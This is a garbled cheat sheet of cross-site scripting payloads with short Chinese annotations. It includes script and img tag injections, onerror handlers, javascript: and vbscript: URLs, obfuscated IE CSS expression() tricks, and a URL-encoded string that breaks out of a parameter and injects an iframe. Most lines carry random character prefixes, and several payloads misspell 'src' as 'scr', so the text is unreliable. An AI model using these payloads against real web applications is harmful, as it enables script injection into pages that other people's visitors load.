xss

admin

<script>alert("跨站")</script>    (最常用）
% `! b6 r/ @+ U<img scr=javascript:alert("跨站")></img>
5 l" ]6 p: Q0 t. t# a<img scr="javascrip&#116&#58 alert(/跨站/)></img>
2 P! h6 [  h8 a& C) Q<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
<img scr="#" onerror=alert(/跨站/)></img>
- d# F/ [8 H, |  P<img scr="#" style="xss:expression(alert(/xss/));"></img>
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
<img src=vbscript:msgbox ("xss")></img>
<style> input {left:expression (alert('xss'))}</style>
& l( i/ w* ^2 K9 A3 \' x<div style={left:expression (alert('xss'))}></div>
! d+ d# _" O2 \! O<div style={left:exp/* */ression (alert('xss'))}></div>
3 Y, t* G% ^$ u/ k! _3 x* n<div style={left:\0065\0078ression (alert('xss'))}></div>
1 D2 U/ J. A/ A4 Ehtml 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
/ T. w! n! _# [% p9 `( H) Punicode <div style="{left:expRessioN (alert('xss'))}">

"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
+ g7 n8 d* e  t) W